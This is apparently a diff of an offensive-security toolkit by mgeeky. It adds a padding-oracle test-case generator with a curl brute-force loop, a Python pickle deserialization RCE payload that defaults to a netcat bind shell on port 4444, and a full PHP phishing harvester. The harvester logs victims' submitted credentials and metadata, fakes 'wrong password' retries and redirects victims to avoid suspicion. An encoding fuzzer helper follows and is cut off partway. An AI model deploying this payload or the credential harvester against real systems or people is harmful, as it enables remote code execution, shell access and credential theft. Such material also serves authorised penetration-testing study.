# do curl -s http://host:5000/echo?cipher=$i | grep -qv 'error' && printf "Byte: 0x%02x not generated decryption error.\n" $x ; x=$((x+1)); done
|
||||||
|
#
|
||||||
|
# [?] Data resembles block cipher with block size = 16
|
||||||
|
# [?] Data resembles block cipher with block size = 8
|
||||||
|
#
|
||||||
|
# Generated in total: 512 test cases for 8, 16 block sizes.
|
||||||
|
# Byte: 0x87 not generated decryption error.
|
||||||
|
#---------------------------------------------
|
||||||
|
#
|
||||||
|
# There the script took at it's first parameter the hex encoded parameter, used it to feed test cases generator and resulted with 512
|
||||||
|
# test cases varying with the last byte of the second to the last block:
|
||||||
|
# (...)
|
||||||
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fad2382fb0a54f3a2954bfebe0a04dd4d6
|
||||||
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fbd2382fb0a54f3a2954bfebe0a04dd4d6
|
||||||
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fcd2382fb0a54f3a2954bfebe0a04dd4d6
|
||||||
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fdd2382fb0a54f3a2954bfebe0a04dd4d6
|
||||||
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fed2382fb0a54f3a2954bfebe0a04dd4d6
|
||||||
|
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000ffd2382fb0a54f3a2954bfebe0a04dd4d6
|
||||||
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000054bfebe0a04dd4d6
|
||||||
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000154bfebe0a04dd4d6
|
||||||
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000254bfebe0a04dd4d6
|
||||||
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000354bfebe0a04dd4d6
|
||||||
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000454bfebe0a04dd4d6
|
||||||
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000554bfebe0a04dd4d6
|
||||||
|
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000654bfebe0a04dd4d6
|
||||||
|
# (...)
|
||||||
|
#
|
||||||
|
# At the end, those values were used in for loop to launch for every entry a curl client with request to the Padding Oracle.
|
||||||
|
# The 0x87 byte that was catched was the only one that has not generated a 'decryption error' outcome from the request, resulting
|
||||||
|
# in improperly decrypted plain-text from attacker-controled cipher text.
|
||||||
|
#
|
||||||
|
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
import urllib
|
||||||
|
import binascii as ba
|
||||||
|
import base64
|
||||||
|
|
||||||
|
# Flip this variable when your input data is not being properly processed.
|
||||||
|
DEBUG = False
|
||||||
|
|
||||||
|
|
||||||
|
def info(txt):
|
||||||
|
sys.stderr.write(txt + '\n')
|
||||||
|
|
||||||
|
def warning(txt):
|
||||||
|
info('[?] ' + txt)
|
||||||
|
|
||||||
|
def error(txt):
|
||||||
|
info('[!] ' + txt)
|
||||||
|
|
||||||
|
def dbg(txt):
|
||||||
|
if DEBUG:
|
||||||
|
info('[dbg] '+txt)
|
||||||
|
|
||||||
|
# or maybe:
|
||||||
|
# class PaddingOracleTestCasesWithVaryingSecondToTheLastBlockGenerator
|
||||||
|
class PaddingOracleTestCasesGenerator:
|
||||||
|
NONE = 0
|
||||||
|
B64URL = 1
|
||||||
|
B64STD = 2
|
||||||
|
HEXENC = 3
|
||||||
|
|
||||||
|
data = ''
|
||||||
|
offset = 0
|
||||||
|
encoding = NONE
|
||||||
|
blocksizes = set()
|
||||||
|
urlencoded = False
|
||||||
|
|
||||||
|
def __init__(self, data, blocksize=0):
|
||||||
|
self.data = data
|
||||||
|
len_before = len(data)
|
||||||
|
self.encoding = self.detect_encoding()
|
||||||
|
self.data = self.decode(data)
|
||||||
|
|
||||||
|
if blocksize != 0:
|
||||||
|
assert blocksize % 8 == 0, "Blocksize must be divisible by 8"
|
||||||
|
self.blocksizes = [blocksize,]
|
||||||
|
else:
|
||||||
|
self.detect_blocksize()
|
||||||
|
|
||||||
|
self.data_evaluation(len_before)
|
||||||
|
|
||||||
|
def data_evaluation(self, len_before):
|
||||||
|
def entropy(txt):
|
||||||
|
import math
|
||||||
|
from collections import Counter
|
||||||
|
p, lns = Counter(txt), float(len(txt))
|
||||||
|
return -sum( count / lns * math.log(count/lns, 2) for count in p.values())
|
||||||
|
|
||||||
|
e = entropy(self.data)
|
||||||
|
warning('Data size before and after decoding: %d -> %d' % (len_before, len(self.data)))
|
||||||
|
warning('Data entropy: %.6f' % entropy(self.data))
|
||||||
|
|
||||||
|
if e < 5.0:
|
||||||
|
info('\tData does not look random, not likely to deal with block cipher.')
|
||||||
|
elif e >= 5.0 and e < 7.0:
|
||||||
|
info('\tData only resembles random stream, hardly to be dealing with block cipher.')
|
||||||
|
else:
|
||||||
|
info('\tHigh likelihood of dealing with block cipher. That\'s good.')
|
||||||
|
|
||||||
|
if self.offset != 0:
|
||||||
|
warning('Data structure not resembles block cipher.')
|
||||||
|
warning('Proceeding with sliding window of %d bytes in the beginning and at the end\n' % self.offset)
|
||||||
|
else:
|
||||||
|
warning('Data resembles block cipher with block size = %d' % max(self.blocksizes))
|
||||||
|
|
||||||
|
def detect_encoding(self):
|
||||||
|
b64url = '^[a-zA-Z0-9_\-]+={0,2}$'
|
||||||
|
b64std = '^[a-zA-Z0-9\+\/]+={0,2}$'
|
||||||
|
hexenc1 = '^[0-9a-f]+$'
|
||||||
|
hexenc2 = '^[0-9A-F]+$'
|
||||||
|
|
||||||
|
data = self.data
|
||||||
|
if re.search('%[0-9a-f]{2}', self.data, re.I) != None:
|
||||||
|
dbg('Sample is url-encoded.')
|
||||||
|
data = urllib.unquote_plus(data)
|
||||||
|
self.urlencoded = True
|
||||||
|
|
||||||
|
if (re.match(hexenc1, data) or re.match(hexenc2, data)) and len(data) % 2 == 0:
|
||||||
|
dbg('Hex encoding detected.')
|
||||||
|
return self.HEXENC
|
||||||
|
|
||||||
|
if re.match(b64url, data):
|
||||||
|
dbg('Base64url encoding detected.')
|
||||||
|
return self.B64URL
|
||||||
|
|
||||||
|
if re.match(b64std, data):
|
||||||
|
dbg('Standard Base64 encoding detected.')
|
||||||
|
return self.B64STD
|
||||||
|
|
||||||
|
error('Warning: Could not detect data encoding. Going with plain data.')
|
||||||
|
return self.NONE
|
||||||
|
|
||||||
|
def detect_blocksize(self):
|
||||||
|
sizes = [32, 16, 8] # Correspondigly: 256, 128, 64 bits
|
||||||
|
|
||||||
|
self.offset = len(self.data) % 8
|
||||||
|
datalen = len(self.data) - self.offset
|
||||||
|
|
||||||
|
for s in sizes:
|
||||||
|
if datalen % s == 0 and datalen / s >= 2:
|
||||||
|
self.blocksizes.add(s)
|
||||||
|
|
||||||
|
if not len(self.blocksizes):
|
||||||
|
if datalen >= 32:
|
||||||
|
self.blocksizes.add(16)
|
||||||
|
if datalen >= 16:
|
||||||
|
self.blocksizes.add(8)
|
||||||
|
|
||||||
|
if not len(self.blocksizes):
|
||||||
|
raise Exception("Could not detect data's blocksize automatically.")
|
||||||
|
|
||||||
|
def encode(self, data):
|
||||||
|
def _enc(data):
|
||||||
|
if self.encoding == PaddingOracleTestCasesGenerator.B64URL:
|
||||||
|
return base64.urlsafe_b64encode(data)
|
||||||
|
elif self.encoding == PaddingOracleTestCasesGenerator.B64STD:
|
||||||
|
return base64.b64encode(data)
|
||||||
|
elif self.encoding == PaddingOracleTestCasesGenerator.HEXENC:
|
||||||
|
return ba.hexlify(data).strip()
|
||||||
|
else:
|
||||||
|
return data
|
||||||
|
|
||||||
|
enc = _enc(data)
|
||||||
|
if self.urlencoded:
|
||||||
|
return urllib.quote_plus(enc)
|
||||||
|
else:
|
||||||
|
return enc
|
||||||
|
|
||||||
|
def decode(self, data):
|
||||||
|
def _decode(self, data):
|
||||||
|
if self.urlencoded:
|
||||||
|
data = urllib.unquote_plus(data)
|
||||||
|
|
||||||
|
if self.encoding == PaddingOracleTestCasesGenerator.B64URL:
|
||||||
|
return base64.urlsafe_b64decode(data)
|
||||||
|
elif self.encoding == PaddingOracleTestCasesGenerator.B64STD:
|
||||||
|
return base64.b64decode(data)
|
||||||
|
elif self.encoding == PaddingOracleTestCasesGenerator.HEXENC:
|
||||||
|
return ba.unhexlify(data).strip()
|
||||||
|
else:
|
||||||
|
return data
|
||||||
|
|
||||||
|
dbg("Hex dump of data before decoding:\n" + hex_dump(data))
|
||||||
|
decoded = _decode(self, data)
|
||||||
|
dbg("Hex dump of data after decoding:\n" + hex_dump(decoded))
|
||||||
|
return decoded
|
||||||
|
|
||||||
|
def construct_second_to_last_block(self, data, blocksize, value, offset=0):
|
||||||
|
|
||||||
|
assert len(data) >= 2 * blocksize, "Too short data to operate on it with given blocksize."
|
||||||
|
assert abs(offset) < blocksize, "Incorrect offset was specified. Out-of-bounds access."
|
||||||
|
|
||||||
|
# Null vector with the last byte set to iterated value.
|
||||||
|
block = '0' * (2*(blocksize-1)) + '%02x' % value
|
||||||
|
|
||||||
|
if offset >= 0:
|
||||||
|
# datadata<rest>
|
||||||
|
return data[:-2*blocksize-offset] + ba.unhexlify(block) + data[-blocksize-offset:]
|
||||||
|
else:
|
||||||
|
# <rest>datadata
|
||||||
|
return data[-offset:-2*blocksize] + ba.unhexlify(block) + data[-blocksize:]
|
||||||
|
|
||||||
|
def generate_test_cases(self):
|
||||||
|
cases = []
|
||||||
|
data = self.data
|
||||||
|
for size in self.blocksizes:
|
||||||
|
dbg("Now generating test cases of %d blocksize." % size)
|
||||||
|
for byte in range(256):
|
||||||
|
|
||||||
|
# No offset
|
||||||
|
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte)))
|
||||||
|
|
||||||
|
if self.offset != 0:
|
||||||
|
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte, self.offset)))
|
||||||
|
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte, -self.offset)))
|
||||||
|
|
||||||
|
return cases
|
||||||
|
|
||||||
|
def hex_dump(data):
|
||||||
|
s = ''
|
||||||
|
n = 0
|
||||||
|
lines = []
|
||||||
|
|
||||||
|
if len(data) == 0:
|
||||||
|
return '<empty>'
|
||||||
|
|
||||||
|
for i in range(0, len(data), 16):
|
||||||
|
line = ''
|
||||||
|
line += '%04x | ' % (i)
|
||||||
|
n += 16
|
||||||
|
|
||||||
|
for j in range(n-16, n):
|
||||||
|
if j >= len(data): break
|
||||||
|
line += '%02x ' % ord(data[j])
|
||||||
|
|
||||||
|
line += ' ' * (3 * 16 + 7 - len(line)) + ' | '
|
||||||
|
|
||||||
|
for j in range(n-16, n):
|
||||||
|
if j >= len(data): break
|
||||||
|
c = data[j] if not (ord(data[j]) < 0x20 or ord(data[j]) > 0x7e) else '.'
|
||||||
|
line += '%c' % c
|
||||||
|
|
||||||
|
lines.append(line)
|
||||||
|
|
||||||
|
return '\n'.join(lines)
|
||||||
|
|
||||||
|
def main():
|
||||||
|
info('\n\tPadding Oracle test-cases generator')
|
||||||
|
info('\tMariusz B. / mgeeky, 2016\n')
|
||||||
|
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
warning('usage: padding-oracle-tests.py <data> [blocksize]')
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
data = sys.argv[1].strip()
|
||||||
|
bsize = int(sys.argv[2]) if len(sys.argv) > 2 else 0
|
||||||
|
|
||||||
|
try:
|
||||||
|
tester = PaddingOracleTestCasesGenerator(data, bsize)
|
||||||
|
except Exception as e:
|
||||||
|
error(str(e))
|
||||||
|
return False
|
||||||
|
|
||||||
|
s = hex_dump(tester.data)
|
||||||
|
info('Decoded data:\n%s\n' % s)
|
||||||
|
|
||||||
|
cases = tester.generate_test_cases()
|
||||||
|
|
||||||
|
for case in cases:
|
||||||
|
if DEBUG:
|
||||||
|
dbg('...' + case[-48:])
|
||||||
|
else:
|
||||||
|
print case
|
||||||
|
|
||||||
|
info('\n[+] Generated in total: %d test cases for %s block sizes.' \
|
||||||
|
% (len(cases), ', '.join([str(e) for e in sorted(tester.blocksizes)])))
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
|
@ -0,0 +1,20 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
#
|
||||||
|
# Pickle deserialization RCE payload.
|
||||||
|
# To be invoked with command to execute at it's first parameter.
|
||||||
|
# Otherwise, the default one will be used.
|
||||||
|
#
|
||||||
|
|
||||||
|
import cPickle
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import base64
|
||||||
|
|
||||||
|
DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 4444"
|
||||||
|
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND
|
||||||
|
|
||||||
|
class PickleRce(object):
|
||||||
|
def __reduce__(self):
|
||||||
|
return (os.system,(COMMAND,))
|
||||||
|
|
||||||
|
print base64.b64encode(cPickle.dumps(PickleRce()))
|
|
@ -0,0 +1,247 @@
|
||||||
|
<?php
|
||||||
|
/*
|
||||||
|
* PHP Script intdended to be used during Phishing attempts as a harverster
|
||||||
|
* collector linked to backdoored HTML <form> action parameter. Such action
|
||||||
|
* parameter could be set like this:
|
||||||
|
*
|
||||||
|
* <form [...] action="/post.php" [...]>
|
||||||
|
*
|
||||||
|
* and script named as 'post.php' to get it working. Additional further configurations
|
||||||
|
* can be made in the section below.
|
||||||
|
*
|
||||||
|
* When crafting HTML login page, one can use the PHP session variable:
|
||||||
|
* $_SESSION['phished_already']
|
||||||
|
* to add forced redirection to the target site.
|
||||||
|
*
|
||||||
|
* Authors:
|
||||||
|
* Mariusz B. / mgeeky
|
||||||
|
* Jakub M. / unkn0w
|
||||||
|
*
|
||||||
|
* Version:
|
||||||
|
* v0.3
|
||||||
|
*
|
||||||
|
* Changelog:
|
||||||
|
* - v0.1 - init
|
||||||
|
* - v0.2 - added metadata gathering
|
||||||
|
* - v0.2.1 - unkn0w adds redirection to faked 'wrong password' message
|
||||||
|
* - v0.3 - added CSV reporting method
|
||||||
|
*/
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
/* ============================ CONFIGURATION ============================ */
|
||||||
|
|
||||||
|
// Filename for harvested data. For CSV logging method, the '.csv' fill be appended.
|
||||||
|
// Remember to keep the filename not guessable, to avoid forceful browsing against your own
|
||||||
|
// phishing box!
|
||||||
|
$harvest_filename = 'harvester_phishing_campaign_1234567890.txt';
|
||||||
|
|
||||||
|
// Target to redirect to after collecting input data.
|
||||||
|
$redirect = 'https://www.website.to/redirect.to?after=input&data=was&sent=';
|
||||||
|
|
||||||
|
// Resend post data to the redirect address?
|
||||||
|
$resend_post_data = false;
|
||||||
|
|
||||||
|
// Specifies how many login attempts user have to try before redirection to real website (must be set to 1 or more)
|
||||||
|
$password_retry = 2;
|
||||||
|
|
||||||
|
// URL for "wrong password" message redirection (applicable only if $password_retry is set to more than 1).
|
||||||
|
// May be relative URL or full one pointing at the target application's error message directly.
|
||||||
|
// Warning: If left empty - the page will be simply reloaded.
|
||||||
|
$wrong_password_url = ''; // '/index.php?wrong_pass=1';
|
||||||
|
|
||||||
|
// If this is set to true, everyone regardless of their user agents will be logged.
|
||||||
|
// Otherwise, only valid, recognized user agents (exlucding bots, or ones who tamper that
|
||||||
|
// setting) will be logged.
|
||||||
|
$log_everyone = false;
|
||||||
|
|
||||||
|
// Set this variable to:
|
||||||
|
// - 'csv' - to collect results in a CSV format.
|
||||||
|
// - 'print_r' - to use the PHP's 'print_r' function.
|
||||||
|
// - 'both' - to create two files and use them both.
|
||||||
|
$log_format = 'both';
|
||||||
|
|
||||||
|
$csv_separator = ' | ';
|
||||||
|
|
||||||
|
// Specifies whether to include in harvesting log metadata such as User Agent,
|
||||||
|
// Remote Addr (victim IP) and so on.
|
||||||
|
$show_meta_data = true;
|
||||||
|
|
||||||
|
// Exclude specific clients based on their VISITOR_ID value (16 bytes values):
|
||||||
|
$exclude_visitors = array('1234567890abcdef');
|
||||||
|
|
||||||
|
|
||||||
|
/* ============================ CONFIGURATION ============================ */
|
||||||
|
|
||||||
|
@error_reporting(0);
|
||||||
|
|
||||||
|
session_start();
|
||||||
|
setcookie(session_name(), session_id(), time() + 7776000); // cookie for 90 days
|
||||||
|
|
||||||
|
if (empty($_POST)) {
|
||||||
|
header("Location: index.html");
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$_SESSION['phishing_counter'] = isset($_SESSION['phishing_counter']) ? $_SESSION['phishing_counter'] + 1 : 1;
|
||||||
|
|
||||||
|
function array_clone($array) {
|
||||||
|
return array_map(function($element) {
|
||||||
|
return ((is_array($element))
|
||||||
|
? call_user_func(__FUNCTION__, $element)
|
||||||
|
: ((is_object($element))
|
||||||
|
? clone $element
|
||||||
|
: $element
|
||||||
|
)
|
||||||
|
);
|
||||||
|
}, $array);
|
||||||
|
}
|
||||||
|
|
||||||
|
function collect_columns_array($arraylog) {
|
||||||
|
$columns = array();
|
||||||
|
|
||||||
|
foreach($arraylog as $k => $v) {
|
||||||
|
if ( $k == 'meta' ) {
|
||||||
|
foreach($arraylog[$k] as $k2 => $v2) {
|
||||||
|
array_push($columns, $k2);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
array_push($columns, $k);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return $columns;
|
||||||
|
}
|
||||||
|
|
||||||
|
function log_file_init($arraylog) {
|
||||||
|
global $log_format;
|
||||||
|
global $harvest_filename;
|
||||||
|
global $csv_separator;
|
||||||
|
|
||||||
|
if ($log_format == 'both' || $log_format == 'print_r') {
|
||||||
|
file_put_contents($harvest_filename, '');
|
||||||
|
}
|
||||||
|
if ($log_format == 'both' || $log_format == 'csv' ) {
|
||||||
|
$columns = implode($csv_separator, collect_columns_array($arraylog));
|
||||||
|
file_put_contents($harvest_filename . '.csv', $columns . "\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function log_append($arraylog) {
|
||||||
|
global $log_format;
|
||||||
|
global $harvest_filename;
|
||||||
|
global $csv_separator;
|
||||||
|
|
||||||
|
if ($log_format == 'both' || $log_format == 'print_r') {
|
||||||
|
file_put_contents($harvest_filename, print_r($arraylog, true), FILE_APPEND);
|
||||||
|
}
|
||||||
|
if ($log_format == 'both' || $log_format == 'csv' ) {
|
||||||
|
$columns = collect_columns_array($arraylog);
|
||||||
|
$line = '';
|
||||||
|
foreach ($columns as $col) {
|
||||||
|
if (array_key_exists($col, $arraylog['meta'])) {
|
||||||
|
$line .= $arraylog['meta'][$col] . $csv_separator;
|
||||||
|
} else {
|
||||||
|
$line .= $arraylog[$col] . $csv_separator;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$line = substr($line, 0, -strlen($csv_separator));
|
||||||
|
file_put_contents($harvest_filename . '.csv', $line . "\n", FILE_APPEND);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$to_report_array = array_clone($_POST);
|
||||||
|
$to_report_array['meta'] = array();
|
||||||
|
|
||||||
|
if ( array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)
|
||||||
|
&& $_SERVER['HTTP_X_FORWARDED_FOR']
|
||||||
|
&& $_SERVER['HTTP_X_FORWARDED_FOR'] !== $_SERVER['REMOTE_ADDR']
|
||||||
|
){
|
||||||
|
$to_report_array['meta']['HTTP_X_FORWARDED_FOR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
|
||||||
|
}
|
||||||
|
|
||||||
|
$to_copy_from_server = array("REMOTE_ADDR", "HTTP_REFERER", "HTTP_USER_AGENT", "HTTP_HOST");
|
||||||
|
for( $i = 0; $i < count($to_copy_from_server); $i++ ) {
|
||||||
|
$to_report_array['meta'][$to_copy_from_server[$i]] = $_SERVER[$to_copy_from_server[$i]];
|
||||||
|
}
|
||||||
|
|
||||||
|
$date = date('Y-m-d H:i:s');
|
||||||
|
$to_report_array['meta']['TIMESTAMP'] = $date;
|
||||||
|
|
||||||
|
// Add information about password-entry attempt to the logfile.
|
||||||
|
$to_report_array['meta']['COMMENT'] = "Password retries for that user: " . $_SESSION['phishing_counter'] . ". ";
|
||||||
|
|
||||||
|
if ($_SESSION['phishing_counter'] >= $password_retry) {
|
||||||
|
$to_report_array['meta']['COMMENT'] .= 'Considered phished (+). ';
|
||||||
|
}
|
||||||
|
|
||||||
|
// Valid user agents only
|
||||||
|
$len = strlen($_SERVER['HTTP_USER_AGENT']);
|
||||||
|
$found = 0;
|
||||||
|
$keywords = array('Chrome', 'Chromium', 'CriOS', 'Fedora', 'Firefox', 'Gecko',
|
||||||
|
'Intel', 'iPhone', 'KHTML', 'Linux', 'Macintosh', 'Mobile',
|
||||||
|
'Mozilla', 'Safari', 'Trident', 'Ubuntu', 'Version', 'Win64',
|
||||||
|
'Windows', 'WOW64', 'x86_64', 'Android', 'Phone');
|
||||||
|
|
||||||
|
for ($i = 0; $i < count($keywords); $i++) {
|
||||||
|
if(stripos($_SERVER['HTTP_USER_AGENT'], $keywords[$i]) !== false) {
|
||||||
|
$found++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Computing unique per visitor ID to be able to grep harvest log based on that ID.
|
||||||
|
$exclude = false;
|
||||||
|
$id = sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . $_SERVER['HTTP_ACCEPT'] .
|
||||||
|
$_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_LANGUAGE']);
|
||||||
|
|
||||||
|
$to_report_array['meta']['VISITOR_ID'] = substr($id, 0, 16);
|
||||||
|
|
||||||
|
if(in_array($to_report_array['meta']['VISITOR_ID'], $exclude_visitors)) {
|
||||||
|
$exclude = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!$exclude && ($log_everyone || ($found >= 3 && $len > 60))) {
|
||||||
|
if(!file_exists($harvest_filename)) {
|
||||||
|
log_file_init($to_report_array);
|
||||||
|
}
|
||||||
|
log_append($to_report_array);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(!$show_meta_data) {
|
||||||
|
unset($to_report_array['meta']);
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($password_retry > 1) {
|
||||||
|
if ($_SESSION['phishing_counter'] < $password_retry) {
|
||||||
|
$url = (!empty($wrong_password_url))? $wrong_password_url : $_SERVER['PHP_SELF'];
|
||||||
|
header('Location: ' . $url);
|
||||||
|
die();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($_SESSION['phishing_counter'] >= $password_retry) {
|
||||||
|
$_SESSION['phished_already'] = 1;
|
||||||
|
throw new Exception('Already phished.'); // redirects to target page.
|
||||||
|
}
|
||||||
|
|
||||||
|
header('Content-Type: text/html; charset=utf-8');
|
||||||
|
if (!$resend_post_data) {
|
||||||
|
echo '<meta http-equiv="refresh" content="0; url=' . $redirect . '" />';
|
||||||
|
} else {
|
||||||
|
echo "<html><head></head><body>";
|
||||||
|
echo "<form action='" . $redirect . "' method='post' name='frm'>";
|
||||||
|
foreach($_POST as $a => $b ) {
|
||||||
|
echo "<input type='hidden' name='" . htmlentities($a) . "' value='" . htmlentities($b) . "'>";
|
||||||
|
}
|
||||||
|
echo "</form><script type='text/javascript'>document.frm.submit();</script></body></html>";
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (Exception $e) {
|
||||||
|
// We can't take the risk of not redirecting victim into desired website,
|
||||||
|
// because such victim could become anxious or investigate the issue further
|
||||||
|
// thus compromising our campaign. That's the purpose of the try..catch statement
|
||||||
|
// applied here.
|
||||||
|
echo '<meta http-equiv="refresh" content="0; url=' . $redirect . '" />';
|
||||||
|
}
|
||||||
|
|
||||||
|
?>
|
|
@ -0,0 +1,424 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
#
|
||||||
|
# ReEncoder.py - script allowing for recursive encoding detection, decoding and then re-encoding.
|
||||||
|
# To be used for instance in fuzzing purposes.
|
||||||
|
#
|
||||||
|
# NOTICE:
|
||||||
|
# If the input string's length is divisble by 4, Base64 will be able to decode it - thus, the script
|
||||||
|
# would wrongly assume it has been encoded using Base64. The same goes for Hex decoding.
|
||||||
|
# In order to tackle this issue, the script builds up a tree of possible encoding schemes and then evaluate
|
||||||
|
# that tree by choosing the best fitting encodings path (with most points counted upon resulted text's length,
|
||||||
|
# entropy and printable'ity).
|
||||||
|
#
|
||||||
|
# Requires:
|
||||||
|
# - jwt
|
||||||
|
# - anytree
|
||||||
|
#
|
||||||
|
# Mariusz B., 2018
|
||||||
|
#
|
||||||
|
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
import jwt
|
||||||
|
import math
|
||||||
|
import base64
|
||||||
|
import urllib
|
||||||
|
import string
|
||||||
|
import anytree
|
||||||
|
import binascii
|
||||||
|
from collections import Counter
|
||||||
|
|
||||||
|
|
||||||
|
class ReEncoder:
|
||||||
|
|
||||||
|
# Switch this to show some verbose informations about decoding process.
|
||||||
|
DEBUG = False
|
||||||
|
|
||||||
|
# ============================================================
|
||||||
|
# ENCODERS SECTION
|
||||||
|
#
|
||||||
|
|
||||||
|
class Encoder:
|
||||||
|
def name(self):
|
||||||
|
raise NotImplementedError
|
||||||
|
|
||||||
|
def check(self, data):
|
||||||
|
raise NotImplementedError
|
||||||
|
|
||||||
|
def encode(self, data):
|
||||||
|
raise NotImplementedError
|
||||||
|
|
||||||
|
def decode(self, data):
|
||||||
|
raise NotImplementedError
|
||||||
|
|
||||||
|
class NoneEncoder(Encoder):
|
||||||
|
def name(self):
|
||||||
|
return 'None'
|
||||||
|
|
||||||
|
def check(self, data):
|
||||||
|
if not data:
|
||||||
|
return False
|
||||||
|
return True
|
||||||
|
|
||||||
|
def encode(self, data):
|
||||||
|
return data
|
||||||
|
|
||||||
|
def decode(self, data):
|
||||||
|
return data
|
||||||
|
|
||||||
|
class URLEncoder(Encoder):
|
||||||
|
def name(self):
|
||||||
|
return 'URLEncoder'
|
||||||
|
|
||||||
|
def check(self, data):
|
||||||
|
if urllib.quote(urllib.unquote(data)) == data and (urllib.unquote(data) != data):
|
||||||
|
return True
|
||||||
|
|
||||||
|
if re.match(r'^(?:%[0-9a-f]{2})+$', data, re.I):
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def encode(self, data):
|
||||||
|
return urllib.quote(data)
|
||||||
|
|
||||||
|
def decode(self, data):
|
||||||
|
return urllib.unquote(data)
|
||||||
|
|
||||||
|
class HexEncoder(Encoder):
|
||||||
|
def name(self):
|
||||||
|
return 'HexEncoded'
|
||||||
|
|
||||||
|
def check(self, data):
|
||||||
|
m = re.match(r'^[0-9a-f]+$', data, re.I)
|
||||||
|
if m:
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
def encode(self, data):
|
||||||
|
return binascii.hexlify(data).strip()
|
||||||
|
|
||||||
|
def decode(self, data):
|
||||||
|
return binascii.unhexlify(data).strip()
|
||||||
|
|
||||||
|
class Base64Encoder(Encoder):
|
||||||
|
def name(self):
|
||||||
|
return 'Base64'
|
||||||
|
|
||||||
|
def check(self, data):
|
||||||
|
try:
|
||||||
|
if base64.b64encode(base64.b64decode(data)) == data:
|
||||||
|
return True
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
return False
|
||||||
|
|
||||||
|
def encode(self, data):
|
||||||
|
return base64.b64encode(data)
|
||||||
|
|
||||||
|
def decode(self, data):
|
||||||
|
return base64.b64decode(data)
|
||||||
|
|
||||||
|
class Base64URLSafeEncoder(Encoder):
|
||||||
|
def name(self):
|
||||||
|
return 'Base64URLSafe'
|
||||||
|
|
||||||
|
def check(self, data):
|
||||||
|
try:
|
||||||
|
if base64.urlsafe_b64encode(base64.urlsafe_b64decode(data)) == data:
|
||||||
|
return True
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
return False
|
||||||
|
|
||||||
|
def encode(self, data):
|
||||||
|
return base64.urlsafe_b64encode(data)
|
||||||
|
|
||||||
|
def decode(self, data):
|
||||||
|
return base64.urlsafe_b64decode(data)
|
||||||
|
|
||||||
|
class JWTEncoder(Encoder):
|
||||||
|
secret = ''
|
||||||
|
|
||||||
|
def name(self):
|
||||||
|
return 'JWT'
|
||||||
|
|
||||||
|
def check(self, data):
|
||||||
|
try:
|
||||||
|
jwt.decode(data, verify = False)
|
||||||
|
return True
|
||||||
|
except jwt.exceptions.DecodeError:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def encode(self, data):
|
||||||
|
return jwt.encode(data, JWTEncoder.secret)
|
||||||
|
|
||||||
|
def decode(self, data):
|
||||||
|
return jwt.decode(data, verify = False)
|
||||||
|
|
||||||
|
|
||||||
|
# ============================================================
|
||||||
|
# ENCODING DETECTION IMPLEMENTATION
|
||||||
|
#
|
||||||
|
|
||||||
|
MaxEncodingDepth = 20
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.encodings = []
|
||||||
|
self.encoders = (
|
||||||
|
ReEncoder.URLEncoder(),
|
||||||
|
ReEncoder.HexEncoder(),
|
||||||
|
ReEncoder.Base64Encoder(),
|
||||||
|
ReEncoder.Base64URLSafeEncoder(),
|
||||||
|
ReEncoder.JWTEncoder(),
|
||||||
|
|
||||||
|
# None must always be the last detector
|
||||||
|
ReEncoder.NoneEncoder(),
|
||||||
|
)
|
||||||
|
self.encodersMap = {}
|
||||||
|
self.data = ''
|
||||||
|
|
||||||
|
for encoder in self.encoders:
|
||||||
|
